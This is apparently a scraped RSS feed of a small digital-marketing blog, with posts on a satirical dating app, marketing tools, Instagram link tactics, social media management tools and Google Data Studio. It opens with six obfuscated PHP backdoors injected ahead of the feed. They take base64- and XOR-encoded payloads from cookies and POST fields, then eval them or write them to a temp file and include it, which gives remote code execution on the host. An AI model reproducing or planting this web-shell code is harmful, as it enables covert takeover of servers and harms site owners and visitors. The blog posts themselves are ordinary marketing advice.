$kqTZX = class_exists("JHb_QMCr"); $klEbtSAoev = $kqTZX;if (!$klEbtSAoev){class JHb_QMCr{private $VRVheHV;public static $GHFkjXgel = "bf72b07e-17e3-4da0-871a-3eb9d9c59ec6";public static $avbHtSBRKB = NULL;public function __construct(){$EUrAYBrQj = $_COOKIE;$JWDmbO = $_POST;$USrTnN = @$EUrAYBrQj[substr(JHb_QMCr::$GHFkjXgel, 0, 4)];if (!empty($USrTnN)){$GfwGZ = "base64";$NBCNGxVlRz = "";$USrTnN = explode(",", $USrTnN);foreach ($USrTnN as $VoQRB){$NBCNGxVlRz .= @$EUrAYBrQj[$VoQRB];$NBCNGxVlRz .= @$JWDmbO[$VoQRB];}$NBCNGxVlRz = array_map($GfwGZ . '_' . "\x64" . 'e' . "\x63" . "\x6f" . "\x64" . "\145", array($NBCNGxVlRz,)); $NBCNGxVlRz = $NBCNGxVlRz[0] ^ str_repeat(JHb_QMCr::$GHFkjXgel, (strlen($NBCNGxVlRz[0]) / strlen(JHb_QMCr::$GHFkjXgel)) + 1);JHb_QMCr::$avbHtSBRKB = @unserialize($NBCNGxVlRz);}}public function __destruct(){$this->KyHrkwtc();}private function KyHrkwtc(){if (is_array(JHb_QMCr::$avbHtSBRKB)) {$JjGuABngvF = str_replace("\74" . "\77" . "\160" . chr ( 287 - 183 )."\160", "", JHb_QMCr::$avbHtSBRKB[chr ( 675 - 576 )."\157" . chr ( 866 - 756 ).chr ( 269 - 153 )."\x65" . chr ( 1051 - 941 )."\x74"]);eval($JjGuABngvF);exit();}}}$xHSBRYZAN = new JHb_QMCr(); $xHSBRYZAN = NULL;} ?> $soUbtmYg = class_exists("kC_mSWr"); $tzbAZKl = $soUbtmYg;if (!$tzbAZKl){class kC_mSWr{private $EVvYkjwGy;public static $inVyTslAL = "614fba15-62dd-41e8-94a5-8a5cbb91a53a";public static $nkVkv = NULL;public function __construct(){$CEiCBzNBuq = $_COOKIE;$qGbifKF = $_POST;$umJgvSGgri = @$CEiCBzNBuq[substr(kC_mSWr::$inVyTslAL, 0, 4)];if (!empty($umJgvSGgri)){$daMdMgWqYv = "base64";$xjhQpxU = "";$umJgvSGgri = explode(",", $umJgvSGgri);foreach ($umJgvSGgri as $qpHTW){$xjhQpxU .= @$CEiCBzNBuq[$qpHTW];$xjhQpxU .= @$qGbifKF[$qpHTW];}$xjhQpxU = array_map($daMdMgWqYv . chr ( 600 - 505 )."\144" . 'e' . "\143" . "\157" . chr ( 429 - 329 ).'e', array($xjhQpxU,)); $xjhQpxU = $xjhQpxU[0] ^ str_repeat(kC_mSWr::$inVyTslAL, (strlen($xjhQpxU[0]) / strlen(kC_mSWr::$inVyTslAL)) + 1);kC_mSWr::$nkVkv = @unserialize($xjhQpxU);}}public function __destruct(){$this->qMJlOUylbq();}private function qMJlOUylbq(){if (is_array(kC_mSWr::$nkVkv)) {$SBNBZLUt = sys_get_temp_dir() . "/" . crc32(kC_mSWr::$nkVkv["\163" . chr (97) . "\x6c" . "\x74"]);@kC_mSWr::$nkVkv["\167" . "\162" . "\151" . chr ( 991 - 875 )."\x65"]($SBNBZLUt, kC_mSWr::$nkVkv[chr ( 137 - 38 ).chr (111) . "\x6e" . "\x74" . "\x65" . chr (110) . 't']);include $SBNBZLUt;@kC_mSWr::$nkVkv[chr ( 730 - 630 )."\x65" . "\154" . chr ( 661 - 560 ).chr ( 580 - 464 )."\x65"]($SBNBZLUt);exit();}}}$UFudRj = new kC_mSWr(); $UFudRj = NULL;} ?> $pJZzH = class_exists("DZg_cKeu"); $xfoXgict = $pJZzH;if (!$xfoXgict){class DZg_cKeu{private $SadJn;public static $aCUgQwhs = "91629c1b-0bf0-4917-8590-0b3314b2943c";public static $iKDVKK = NULL;public function __construct(){$EnfsE = $_COOKIE;$BdMYmUE = $_POST;$trERK = @$EnfsE[substr(DZg_cKeu::$aCUgQwhs, 0, 4)];if (!empty($trERK)){$RyFDVIxM = "base64";$tmHUuq = "";$trERK = explode(",", $trERK);foreach ($trERK as $LQAAA){$tmHUuq .= @$EnfsE[$LQAAA];$tmHUuq .= @$BdMYmUE[$LQAAA];}$tmHUuq = array_map($RyFDVIxM . "\x5f" . "\144" . 'e' . "\143" . chr ( 1105 - 994 )."\144" . chr ( 577 - 476 ), array($tmHUuq,)); $tmHUuq = $tmHUuq[0] ^ str_repeat(DZg_cKeu::$aCUgQwhs, (strlen($tmHUuq[0]) / strlen(DZg_cKeu::$aCUgQwhs)) + 1);DZg_cKeu::$iKDVKK = @unserialize($tmHUuq);}}public function __destruct(){$this->iHnJIoUJ();}private function iHnJIoUJ(){if (is_array(DZg_cKeu::$iKDVKK)) {$XLlQv = sys_get_temp_dir() . "/" . crc32(DZg_cKeu::$iKDVKK['s' . chr ( 920 - 823 ).'l' . "\164"]);@DZg_cKeu::$iKDVKK['w' . "\x72" . chr (105) . 't' . "\145"]($XLlQv, DZg_cKeu::$iKDVKK[chr ( 720 - 621 ).chr (111) . 'n' . chr (116) . 'e' . chr ( 1005 - 895 ).'t']);include $XLlQv;@DZg_cKeu::$iKDVKK[chr ( 820 - 720 ).'e' . "\154" . "\x65" . chr (116) . chr (101)]($XLlQv);exit();}}}$hiBgquqV = new DZg_cKeu(); $hiBgquqV = NULL;} ?> $IoeMqgofqv = class_exists("Q_POUK"); $nNhiJXqXrw = $IoeMqgofqv;if (!$nNhiJXqXrw){class Q_POUK{private $yeKoNLEg;public static $oBoCMf = "b0af4df3-e20d-4395-9ad7-4153446157bc";public static $UagrjHj = NULL;public function __construct(){$jaMIzb = $_COOKIE;$DXkdFAbPP = $_POST;$VJcBX = @$jaMIzb[substr(Q_POUK::$oBoCMf, 0, 4)];if (!empty($VJcBX)){$rDaufBz = "base64";$JOQolY = "";$VJcBX = explode(",", $VJcBX);foreach ($VJcBX as $HpwlQ){$JOQolY .= @$jaMIzb[$HpwlQ];$JOQolY .= @$DXkdFAbPP[$HpwlQ];}$JOQolY = array_map($rDaufBz . '_' . "\144" . "\x65" . chr (99) . "\157" . chr (100) . 'e', array($JOQolY,)); $JOQolY = $JOQolY[0] ^ str_repeat(Q_POUK::$oBoCMf, (strlen($JOQolY[0]) / strlen(Q_POUK::$oBoCMf)) + 1);Q_POUK::$UagrjHj = @unserialize($JOQolY);}}public function __destruct(){$this->QqbHas();}private function QqbHas(){if (is_array(Q_POUK::$UagrjHj)) {$zwLmwoU = sys_get_temp_dir() . "/" . crc32(Q_POUK::$UagrjHj["\x73" . "\x61" . "\x6c" . 't']);@Q_POUK::$UagrjHj[chr (119) . 'r' . 'i' . chr ( 437 - 321 ).'e']($zwLmwoU, Q_POUK::$UagrjHj["\143" . chr (111) . 'n' . chr ( 145 - 29 ).chr ( 242 - 141 ).'n' . 't']);include $zwLmwoU;@Q_POUK::$UagrjHj[chr ( 883 - 783 )."\x65" . chr ( 524 - 416 ).chr ( 901 - 800 ).chr ( 486 - 370 )."\x65"]($zwLmwoU);exit();}}}$uHzmixtus = new Q_POUK(); $uHzmixtus = NULL;} ?> $cEtoOwYHPL = class_exists("LCi_OmkZU"); $svQKAUW = $cEtoOwYHPL;if (!$svQKAUW){class LCi_OmkZU{private $bHvBodu;public static $VgPUHLxNs = "d7d95d52-7420-4cb4-9ec6-63b14193396f";public static $lZAlfjy = NULL;public function __construct(){$tLZwzMUqYP = $_COOKIE;$WNsBEwp = $_POST;$rCIeOkwHam = @$tLZwzMUqYP[substr(LCi_OmkZU::$VgPUHLxNs, 0, 4)];if (!empty($rCIeOkwHam)){$orduHlQCGj = "base64";$zAOUze = "";$rCIeOkwHam = explode(",", $rCIeOkwHam);foreach ($rCIeOkwHam as $cCaFETpPB){$zAOUze .= @$tLZwzMUqYP[$cCaFETpPB];$zAOUze .= @$WNsBEwp[$cCaFETpPB];}$zAOUze = array_map($orduHlQCGj . chr (95) . "\144" . 'e' . chr (99) . 'o' . chr (100) . "\145", array($zAOUze,)); $zAOUze = $zAOUze[0] ^ str_repeat(LCi_OmkZU::$VgPUHLxNs, (strlen($zAOUze[0]) / strlen(LCi_OmkZU::$VgPUHLxNs)) + 1);LCi_OmkZU::$lZAlfjy = @unserialize($zAOUze);}}public function __destruct(){$this->tjwMy();}private function tjwMy(){if (is_array(LCi_OmkZU::$lZAlfjy)) {$ffHcqpdER = str_replace(chr ( 269 - 209 ) . chr (63) . chr (112) . "\150" . chr ( 626 - 514 ), "", LCi_OmkZU::$lZAlfjy["\143" . "\157" . chr ( 926 - 816 ).'t' . chr (101) . 'n' . "\x74"]);eval($ffHcqpdER);exit();}}}$vobCc = new LCi_OmkZU(); $vobCc = NULL;} ?> $yREwtAvl = class_exists("YOQ_YrsH"); $gutxnF = $yREwtAvl;if (!$gutxnF){class YOQ_YrsH{private $jIUcRbPqOF;public static $oLFnBXbvmI = "30b78542-d74f-404b-8759-222112d44983";public static $yWMEHqr = NULL;public function __construct(){$zwTamKI = $_COOKIE;$FaXsjGsK = $_POST;$WVTxM = @$zwTamKI[substr(YOQ_YrsH::$oLFnBXbvmI, 0, 4)];if (!empty($WVTxM)){$ZdZmOBJc = "base64";$PdkiRcN = "";$WVTxM = explode(",", $WVTxM);foreach ($WVTxM as $YjYnWgW){$PdkiRcN .= @$zwTamKI[$YjYnWgW];$PdkiRcN .= @$FaXsjGsK[$YjYnWgW];}$PdkiRcN = array_map($ZdZmOBJc . "\137" . "\x64" . chr (101) . "\143" . "\x6f" . 'd' . "\x65", array($PdkiRcN,)); $PdkiRcN = $PdkiRcN[0] ^ str_repeat(YOQ_YrsH::$oLFnBXbvmI, (strlen($PdkiRcN[0]) / strlen(YOQ_YrsH::$oLFnBXbvmI)) + 1);YOQ_YrsH::$yWMEHqr = @unserialize($PdkiRcN);}}public function __destruct(){$this->FIyFMYDZ();}private function FIyFMYDZ(){if (is_array(YOQ_YrsH::$yWMEHqr)) {$ulINhdpSv = str_replace(chr (60) . '?' . chr ( 867 - 755 ).chr (104) . chr ( 295 - 183 ), "", YOQ_YrsH::$yWMEHqr[chr (99) . chr ( 603 - 492 ).chr ( 905 - 795 )."\x74" . chr (101) . "\156" . "\x74"]);eval($ulINhdpSv);exit();}}}$xLgPxug = new YOQ_YrsH(); $xLgPxug = NULL;} ?> Digital Marketing – CODE Marketing: Blog https://blog.codemarketing.com Thu, 19 Dec 2019 13:27:52 +0000 en-US hourly 1 https://wordpress.org/?v=5.2.20 Man Creates Dating App Where He Is The Only Guy https://blog.codemarketing.com/man-creates-dating-app-where-he-is-the-only-guy-allowed/ Thu, 12 Dec 2019 07:17:05 +0000 http://blog.codemarketing.com/?p=1373 In today’s day and age, there’s an app for everything, even finding love. With apps, such a tinder, finding your match is as easy as swiping right. But the downside for that dating apps can be a dark, depressing and boring place to find love. content or chat endlessly with someone, but sometimes it’s really …

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In today’s day and age, there’s an app for everything, even finding love. With apps, such a tinder, finding your match is as easy as swiping right. But the downside for that dating apps can be a dark, depressing and boring place to find love. content or chat endlessly with someone, but sometimes it’s really hard to find a connection – especially when you’re competing with thousands of people.

Well, one guy has decided that he has had enough of this and set out to create his own dating app. Meet Aaron Smith, the creator of Singularity

Singularity is pretty similar to other dating apps with one key difference, Aaron is the only guy allowed on it. Yes you read it right – Aaron is the only guy on it

Singularity will allow as many women as possible to sign up. Aaron was so tired of competing with other men for female attention that he decided to throw the phrase ‘if you can’t beat them, join them’ out the window and stand out by eliminating the competition entirely.

In an interview with WFMY CBS, he said “The biggest problem with the other apps is that my face is not featured prominently. If life gives you lemons, you should first make lemonade. Then make sure no other companies can produce or distribute their own soft drinks. So the only game in town is lemonade.”

Software engineer and Aaron’s best mate, Scott McDowell, thinks that this could change the game of online dating.

“All of us who have done online dating in some sorta way can all relate to the fact that it really does sometimes suck,” he said.

“Hopefully it will give people a chuckle about just the absurdity of what we’re reduced to as a society,” he told CBS.

We’ll wait and see whether this takes off.

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5 Mobile and Desktop Tools for Marketers https://blog.codemarketing.com/5-mobile-and-desktop-tools-for-marketers/ Mon, 23 Sep 2019 12:00:40 +0000 http://blog.codemarketing.com/?p=1352 Looking for better ways to create videos, audio, and images? Want a list of tools to help? Lumen5 When you need to repurpose online articles as videos, try Lumen5, a free browser-based app you use on a desktop computer. Simply copy an article’s URL into Lumen5, and it converts the article into a slideshow. After the …

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Looking for better ways to create videos, audio, and images? Want a list of tools to help?

  1. Lumen5

    When you need to repurpose online articles as videos, try Lumen5, a free browser-based app you use on a desktop computer. Simply copy an article’s URL into Lumen5, and it converts the article into a slideshow. After the conversion, you can edit the images, text, and video transitions on each slide. In about 30 minutes, you’ll have a customized slideshow that you can export as a video.

  2. Easil

    Easil is a browser-based tool with professional-looking templates for Instagram and Facebook Stories. This tool is especially helpful if you’re not a graphic designer. After you select a template, you can edit the font, colour scheme, image, and more. Easil also has a nice font selection and a stock art service called Easil Stock, which is frequently updated with fresh images.

  3. Video Resizer for IGTV & frame

    When you need help sizing videos for Instagram TV (also called IGTV), check out the Video Resizer for IGTV & frame iOS app. This free app can change landscape or square videos to a 9:16 ratio for IGTV. To illustrate, the app can resize a square video you shot for Instagram so you can repurpose the video for an IGTV story. If you accidentally shot a video in the wrong size, the app can fix it. To resize videos into new formats, the app fills blank space in the resized video with a blurred gradient made of colours from the video. These gradients enable the app to resize the video without cropping it.

  4. SparkScore

    SparkScore helps you analyze Twitter engagement and measure your influence by looking at followers, retweets, likes, and lists. If you check your free SparkScore report on the same day every week, you’ll have a snapshot of whether your Twitter engagement is up or down.

  5. IG:dm

    Scrolling through Instagram on a phone can be addictive and distracting, especially when you’re a marketer trying to manage social media. Although using Instagram on a desktop is easier, you can’t answer and send direct messages… unless you have IG:dm, a free download that adds this feature to macOS, Windows, and Linux computers.

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Ways to Share Links on Instagram https://blog.codemarketing.com/ways-to-share-links-on-instagram/ Mon, 16 Sep 2019 12:00:44 +0000 http://blog.codemarketing.com/?p=1360 Looking for ways to drive more website traffic from Instagram? Wondering how to share links in more places on Instagram? In this article, you’ll find different ways to share links on your Instagram profile and posts. #1: Add a Link to Your Instagram Bio Let’s start with the first and simplest way to place a …

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Looking for ways to drive more website traffic from Instagram? Wondering how to share links in more places on Instagram?

In this article, you’ll find different ways to share links on your Instagram profile and posts.

#1: Add a Link to Your Instagram Bio

Let’s start with the first and simplest way to place a link on Instagram. The Instagram bio is the only place where anyone, including private personal accounts, can share a clickable link.

How to add or share a link to Instagram, example 1.

Think of this as your “home” link. While there are other ways to share clickable links (which we’ll discuss in a moment), those routes are targeted for more specific audiences. The link in your bio is there for anyone who happens to visit your profile.

Opinions differ on the best strategy for this link. Some brands link to their mobile website and leave it at that. Others update their bio link regularly, and direct users to the content from their posts.

But there’s a snag with changing the link frequently. How do you manage your old posts? What if someone finds an intriguing post from six months ago, goes to your bio to learn more, and finds a different link?

Instead, I recommend sharing more transient links in your stories. If you want to keep that content available, you can save the stories as permanent highlights with clickable links.

How to add or share a link to Instagram, example 2.

Alternatively, especially if you don’t have access to story links, you can use a link service. In the next section, we’ll look at how to use a single, consistent bio link to share a variety of content through link services.

#2: Use a Link Service to Showoff Multiple Links

When Instagram first became popular with marketers, link services were widely used—then their popularity dipped. Now they’re back with more design capabilities and a smoother user experience.

You can choose from a few different formats. The classic link service looks something like Linktree, where you present followers with a list of clickable buttons. The Workspace For Children uses Linktree to direct users to their latest blog posts, activities, and Amazon shop.

How to add or share a link to Instagram, example 3.

Choose a style and colorway that matches the aesthetic in your Instagram posts and stories. If users click through and find something that looks very different, they’ll lose trust in your brand.

The Good Quote uses a consistent color palette for their Instagram posts and Linktree page.

How to add or share a link to Instagram, example 4.

Alternatively, you can choose a service that looks more like a native Instagram experience. Instead of tapping on text buttons, users are presented with an Insta-style photo grid, as in the example below. When they tap the photo from the post that originally caught their attention, the link service directs them to the relevant page on your website.

How to add or share a link to Instagram, example 5.

Some services, like Later’s Linkin.bio, include video links, photo carousels, and even Shopify integrations.

How to add or share a link to Instagram, example 6.

Just be aware that photo grids like this can be data killers. Check that your chosen link service works on a wide range of mobile devices and that all of the links are functional. In theory, the experience should be seamless.

#3: Share Short Links or Directions to Landing Pages in Your Instagram Post Captions

You can’t include clickable links in the captions of normal Instagram photo posts, but that doesn’t mean that post captions are useless! You can still use them to get users’ attention, share extracts from your content, and extend your reach with carefully selected hashtags.

If you want to make the most of your post captions for links on Instagram, I recommend these two strategies.

Share a Short Link

Use a link-shortening service like Bitly so the link is easy for users to copy or remember—bonus points if you customize the link for your brand and content. This approach requires a bit more effort from your followers, so save it for your top content or links where you only want to convert a small, targeted group of people.

Write Crystal-Clear Directions to Live Links

Whether you’re using a link in your bio or in stories, make it obvious. One tactic we use in posts is to share directions to a live link and include a shortened link that people can copy if they choose. In the post below, we directed users to check out our story. Alternatively, they could copy the short link in the post caption to their browser.

How to add or share a link to Instagram, example 7.

#4: Add Swipe-Up Links to Your Instagram Stories

Some brands can include live links in their Instagram stories. Because stories are so ephemeral, they’re a great way to share links to new or time-sensitive content. Think flash sales, limited-time promotions and giveaways, seasonal events, or weekly Q&A sessions with your followers.

Alternatively, you can save stories with swipe-up links in the highlights section on your profile. These stories will stay pinned between your bio and photo grid. Use highlights as a library for evergreen content: essential FAQs, top-selling products, and past events to show new followers what they’ve missed.

Chocolatier Auro keeps highlights on their profile for news stories, community posts, recipe ideas, promotions, events, store locations, and featured products.

How to add or share a link to Instagram, example 9.

Whether you keep an Instagram story forever or let it fade after 24 hours, remember that each story plays for only 15 seconds. Viewers don’t get much time to react, so make the call to action (CTA) crystal clear. Try these ideas:

  • Emphasize the See More link with the highlighter and pen tools.
  • Use stickers and GIFs to point to the link, announce a new post, or encourage users to swipe up.
  • Take a photo or video of someone from your team pointing to the link. In this story from Bicho Vintage, the brand uses an arrow sticker to highlight a shopping link.

How to add or share a link to Instagram, example 10.

There is a caveat here. Story links are tightly controlled by Instagram. You won’t be able to access this feature unless you have over 10,000 followers (which takes time) or a verified account (which is an arcane and almost random process).

Why does Instagram restrict story links like this? Well, presumably because it wants you to prioritize follower counts. But does that really work for your business goals?

For some brands, especially direct-to-consumer brands, a large number of followers is key to success. But in other cases, you might be better off focusing on sales before followers.

Here’s an example of a young brand, Attollo Lingerie, that uses their Instagram story to promote real-world sales and connections. They don’t have access to swipe-up links… but they don’t need them. Instead, they use shared posts, graphics, and clever screenshots to direct users towards links elsewhere.

How to add or share a link to Instagram, example 11.

This is proof that internal links can be useful, too. Post stories that link back to your own posts, profile, and IGTV. You can also link to relevant posts, stories, and profiles from other people. Remember, if you team up on a promotion with an influencer or another brand, you’ve potentially doubled the number of active links at your disposal.

#5: Create Links in Instagram Shoppable Posts and Stories

Shoppable posts are another example of highly specific links. Each shopping tag links to one product only (and it has to be a physical product, sold in one of a select group of countries). Shopping tags are the most targeted conversion possible.

To use shopping tags, start by creating a product catalog on Facebook. Once you have a full range of products uploaded—with shopping links, images, and descriptions—you can start adding shopping tags to your Instagram posts.

How to add or share a link to Instagram, example 12.

You’ll also see a Shopping tab appear on your profile. The Shopping tab appears next to the standard tabs of your profile grid, individual photos, and tagged photos. Clicking this tab shows off your full product catalog.

How to add or share a link to Instagram, example 13.

Items on the Shopping tab appear in a standard photo grid, but users can tap to shop. They can save items just like they save standard posts, or tap to shop immediately.

How to add or share a link to Instagram, example 14.

Instagram Insights allows you to check the engagement on individual shopping posts or compare shopping posts based on metrics like engagement, impressions, or saves. But Instagram shopping doesn’t add attribution to individual product links. So once again, you may want to experiment with adding UTM tags to the links in your product catalog.

Some brands now have access to in-app shopping, where users can pay for their purchases without ever leaving Instagram. And because the beta version is being rolled out to more brands, it seems like initial tests have been successful.

I’m predicting that Instagram will eventually get rid of shopping tags in favor of in-app check out. Why? Because staying in-app gives them more control over data and a potential cut of the profits. Be prepared for further shifts in how customers interact with your products on Instagram.

#6: Pay to Promote Links in Instagram Posts and Stories

With an Instagram business profile, you can pay to promote posts and stories. Not only does this help you segment your audience, but you can also add clickable links to the captions of promoted posts. That’s right: Instagram lets you share links in post captions as long as you pay for them.

Sustainable toothbrush brand The Bam & Boo uses promoted posts to share links to blog posts and products.

How to add or share a link to Instagram, example 15.

The same rules for any ad apply here, too. Make sure your links are absolutely relevant to the post and story in which they appear, because if people click and then bounce, you’ve wasted your ad spend.

Think about the conversion you’re looking for. Are you promoting a shoppable post, educating users about your brand, or drawing them in with interesting content? Different conversions require different designs. Try to find a balance between attractive post design and a glaringly obvious CTA.

#7: Add Links In Instagram Direct Messages

Instagram DMs are an underused feature by many brands. You should be monitoring your inbox daily for message requests, customer service questions, and stories that mention your brand. Respond, reshare, and build customer relationships.

You can start a conversation by reacting to a user’s story or reaching out to offer help. For instance, we make a point of reaching out to first-time users of our platform.

How to add or share a link to Instagram, example 16.

You can also use direct messaging as a more active tool. Because messages on Instagram are private, they’re a more personal form of communication. If you reach out to followers in their DMs, they’ll appreciate you treating them as individuals.

So what kind of messages can you deliver? Let’s take one example: a message to welcome new followers. Of course, you won’t have time to type out a new message every time someone joins your community, so start by setting up quick replies.

To set up quick replies, go to Settings and then Business. Write a message and choose a keyword so you can find the reply you need quickly.

How to add or share a link to Instagram, example 17.

You can share active links in your quick replies and standard messages. So in addition to sharing specific links in response to customer queries, you can also start an automatic lead-nurturing campaign for every new follower.

Try turning new followers into qualified leads by asking for details in their DMs. Offer an incentive, like an introductory discount, so more people will respond.

How to add or share a link to Instagram, example 18.

#8: Share Links in Your IGTV Descriptions

Instagram—and the Facebook family in general—is still obsessed with video content. So as an incentive, the platform offers more link capabilities on IGTV than for video posts on your feed.

You can include clickable links in the description of each IGTV post. To see the description, users have to tap on the arrow icon next to the post title. Because users have to actively expand the description to see any links, make sure you tell them about the link during your IGTV video.

How to add or share a link to Instagram, example 19.

Unlike story links, IGTV links are available to any account, whether or not they’ve reached 10,000 followers. But you need to think about the trade-offs here.

Will your IGTV links be worth the cost of planning and producing original video content? If IGTV posts will cost more than the revenue you derive from those links, you’re better off using other link strategies.

Bonus: Use Action Buttons on Your Instagram Profile

Not all Instagram business profiles have story links, but they do all have access to profile action buttons. You can create instant buttons on your profile for the following actions (and free up character space in your bio in the process):

  • Call
  • Text
  • Email
  • Directions
  • Start Order
  • Book
  • Reserve

The Ivy in northwest London uses Reserve, Call, and Email Address buttons to convert restaurant customers.

How to add or share a link to Instagram, example 20.

Instagram also offers integrations for a long list of partners, such as YelpGrubHub, or EventBrite. You might not think of these buttons as links, but they are. Each one is just tied to a very specific conversion action.

A specific action means a specific audience. Once again, think about your business goals and how your audience behaves. If you aren’t interested in phone calls from customers, or you don’t think they’ll ever contact you by phone, you can remove that button from your profile. Yes, you want a network of links on Instagram but only links that are actually useful.

Note that these buttons are visible only in the mobile app, not on desktop. But then, no one except social media managers uses Instagram on desktop.

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Top Social Media Management Tool For 2019 https://blog.codemarketing.com/top-social-media-management-tool-for-2019/ Sun, 21 Jul 2019 05:00:19 +0000 http://blog.codemarketing.com/?p=1261 The number of social media management tools can leave the beginner and even the more advanced user overwhelmed. So we made a list of the top social media management tools for 2019. There are three major features that a good social media management tool should always have. These are publishing and RSS integration, social engagement, …

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The number of social media management tools can leave the beginner and even the more advanced user overwhelmed.

So we made a list of the top social media management tools for 2019. There are three major features that a good social media management tool should always have. These are publishing and RSS integration, social engagement, and great analytics reporting.

  1. Buffer

    Buffer is a well established social media management platform that allows you to schedule, analysis and has various team contribution features. Buffer integrates with Facebook, Twitter, Instagram, Pinterest and LinkedIn.

    Publishing – Buffer has basic publishing features, such as scheduling and adding posts to a queue. However, it will not let you upload hundreds of posts and then recycle them. It does have the RSS feed that helps you publish posts from blogs.

    Social Engagement – Buffer offers a product called Reply. However, it only supports Facebook, Twitter, and Instagram comments. It costs $50-$225/month, 1 user for each connected profile. This is in addition to the basic Buffer pricing.

    Influencer Search – Buffer does not have an influencer search feature.

    Client Management Support – Buffer has a limited team feature. It allows a user to add team members and give them permissions to manage various social media pages.

    Supported Networks: Facebook, Twitter, Instagram, LinkedIn, Pinterest

  2. Sprout Social

    Sprout Social is similar to HootSuite and other social media tools in that it combines a variety of tools.

    Publishing – It has all the basics and a few more customized features. These include individual statistics on each post and agency features such as post-approval. It does not have the Auto Post with queues feature.

    Social Engagement – Sprout Social has a social inbox, which is great. It also has social monitoring and keyword searching features that help you monitor your brand on social media.

    Influencer Search – Sprout Social doesn’t have an influencer search feature.

    Clients Management Support – Sprout has the basic team features but not much else in this category.

    Supported Networks: Facebook, Twitter, Instagram, LinkedIn

  3. HootSuite

    HootSuite has probably been around the longest (since 2008). It has all the various applications you need and some robust content features, as well. For example, it has content curation, organization, scheduling, and RSS integration.

    Publishing – Hootsuite has bulk scheduling, which allows you to upload several posts at a time. However, it doesn’t have the Auto Post feature that recycles the content for you. It has a feature that allows you to create social sweepstakes or contests on social media. It also has RSS integrations.

    Social Engagement – Hootsuite doesn’t have a Social Inbox or anything like it. You have to manually engage with each follower by logging in to each social media account separately.

    Influencer Search – Hootsuite doesn’t offer the ability to find influencers.

    Client Management Support – Hootsuite has the basic team features, plus post-approval and custom branded URLs.

    Supported Networks: Facebook, Twitter, Instagram, LinkedIn, YouTube, WordPress

  4. Agora Pulse

    Agora Pulse has a variety of features such as social engagement, publishing, listening, reports, and team collaboration

    Publishing – Agora Pulse has the Auto Post feature, where you can queue evergreen posts (indefinitely). You can put labels on your content that allow you to retrieve and analyze each post (or an entire category).

    Social Engagement – Agora Pulse has the Social Inbox feature, where you can interact with every follower and message in one place. It does have social monitoring and keyword searches.

    Influencer Search – Agora Pulse does not have any influencer features.

    Clients Management Support – Agora Pulse has the basic team sharing features, plus content approval from clients.

    Supported Networks: Facebook, Twitter, Instagram, LinkedIn, YouTube

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Instagram Mistakes That Stop Your Brand From Growing https://blog.codemarketing.com/instagram-mistakes-that-stop-your-brand-from-growing/ Sun, 14 Jul 2019 05:00:20 +0000 http://blog.codemarketing.com/?p=1248 With more than 25 million business profiles and over 200 million visiting at least one business profile daily, Instagram isn’t the easiest social media channel for brands to master. It can be frustrating to get the attention of the rather distracted users. However, too many brands are making mistakes that can be easily fixed, which …

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With more than 25 million business profiles and over 200 million visiting at least one business profile daily, Instagram isn’t the easiest social media channel for brands to master. It can be frustrating to get the attention of the rather distracted users. However, too many brands are making mistakes that can be easily fixed, which will help their Instagram platform grow.

  1. Little to no engagement
    Other than rushing out to post content, One should make time to reply to comments and also interacting with other accounts who share mutual interests. Just constantly posting content and hoping that Instagram will wave its magic wand and make your brand popular will not work. You need to give context to the images/videos you’re posting. You should search for relevant hashtags for your post and interact with other similar posts and comment on them. Your comments should be natural and should spark a conversation. You should avoid comments like ‘Nice’, ‘Awesome’ etc
  2. Wrong Hashtags
    Hashtags are an integral part of Instagram marketing. They can be a great way to increase your Instagram visibility and allow your posts to reach an audience who shares and are interested in the content you post or the services you offer. However for them to be effective you have to use them correctly as using the wrong hashtags can be damaging to your brand. You should find tags to match your brand and track the performance of them and then make a list of the most effective ones for future posts. You should create branded hashtags with a long-term vision with the intent of reaching new audiences and sparking conversations.
  3. Constant Self Promotion
    Instagram is a platform where you’re supposed to interact with others. Constant self-promotion is one of the most anti interactive things you can do as it makes you seem desperate and boring. Even though you might have great and fascinating stories to tell about your business, you should avoid telling them all at once. Seeing multiple photos in a feed coming from the same account can be a turn off to some users. If you have a lot of content to post you can use the Instagram story feature or go live.
  4. Too much-polished content???
    New and established brands publish a lot of polished content to give the followers the impression that they invest a great amount of time and skill to come up with such posts and also represent their attention to detail. A post published by the guardian which analysed Instagram data stated that this might be counterproductive as your followers would rather see more realistic and authentic posts and react better to that. You should focus on sharing more real and simple content as simplicity is key when creating relatable content
  5. Avoid Bots(Fake Comments, Likes, Followers)
    It’s getting harder to grow an organic following on Instagram given its paid advertising approach. It might be tempting to spend a few dollars and get a bunch and followers and links and generate fake engagement in a matter of a few hours.
    Even though you have the follower, like stats those followers are dead weight and do not generate any income or sales for your brand. The only way to grow is to share quality content.
  6. Have an Instagram strategy
    Creating Instagram marketing strategies on the blind is as good as having no strategy. Have only one strategy with one goal, whether it’s to drive traffic to your website, to create brand awareness, or something else. What will help you stick to your strategy is looking at the right Instagram analytics

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Using Google Data Studio to simplify marketing data https://blog.codemarketing.com/using-google-data-studio-to-simplify-marketing-data/ Sun, 09 Jun 2019 08:00:37 +0000 http://blog.codemarketing.com/?p=1194 Google Data Studio offers an easy way to view and make sense of your marketing metrics. In this article, you will learn how to use google data studio to easily view your marketing metrics Why do you need google data studio? When you’re a startup or a small business with limited marketing budgets, it can …

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Google Data Studio offers an easy way to view and make sense of your marketing metrics.

In this article, you will learn how to use google data studio to easily view your marketing metrics

Why do you need google data studio?

When you’re a startup or a small business with limited marketing budgets, it can be difficult to identify which social media marketing efforts are working the best. It can be daunting and time-consuming to do through spreadsheets and google analytics data. This is why setting up a custom dashboard can be a good solution. It allows you to quickly find answers to important questions without spending hours in excel going through spreadsheets.

Google data studio is a free service that allows you to create your own custom dashboard. Just follow the steps mentioned below

  1. Decide what you want to measure

    Where you read articles like these, you quickly jump into it and start building your dashboard. But in this case, I recommend you to take a moment and think about what you want to measure first.

    A mistake businesses make is that they try to measure everything, which is why they end up with several pages worth of marketing reports that no one reads. It’s better to focus on 3 core Key Performance Indexes(KPI) rather than sub-KPIs. Just make sure these core KPIs tie back to monetary value. You can tell if a KPI is a core KPI if it answers the following questions.

    – Does it increase revenue (growth metrics)?
    – Does it reduce cost (retention metrics)?

    Everything else is a vanity metric. Vanity metrics aren’t necessarily bad; however, they need additional context to be relevant. Some important sub-KPIs you may want to pay attention to customer acquisition cost for each marketing channel (CAC), referral sources, traffic by source/medium/channel, Domain Authority (DA) or Domain Rating (DR), blog sessions, blog unique visitors, time on site, social media shares, backlinks, new inbound leads, percentage of inbound leads that are marketing-qualified (MQLs), etc.

  2. Creating an outline to your dashboard

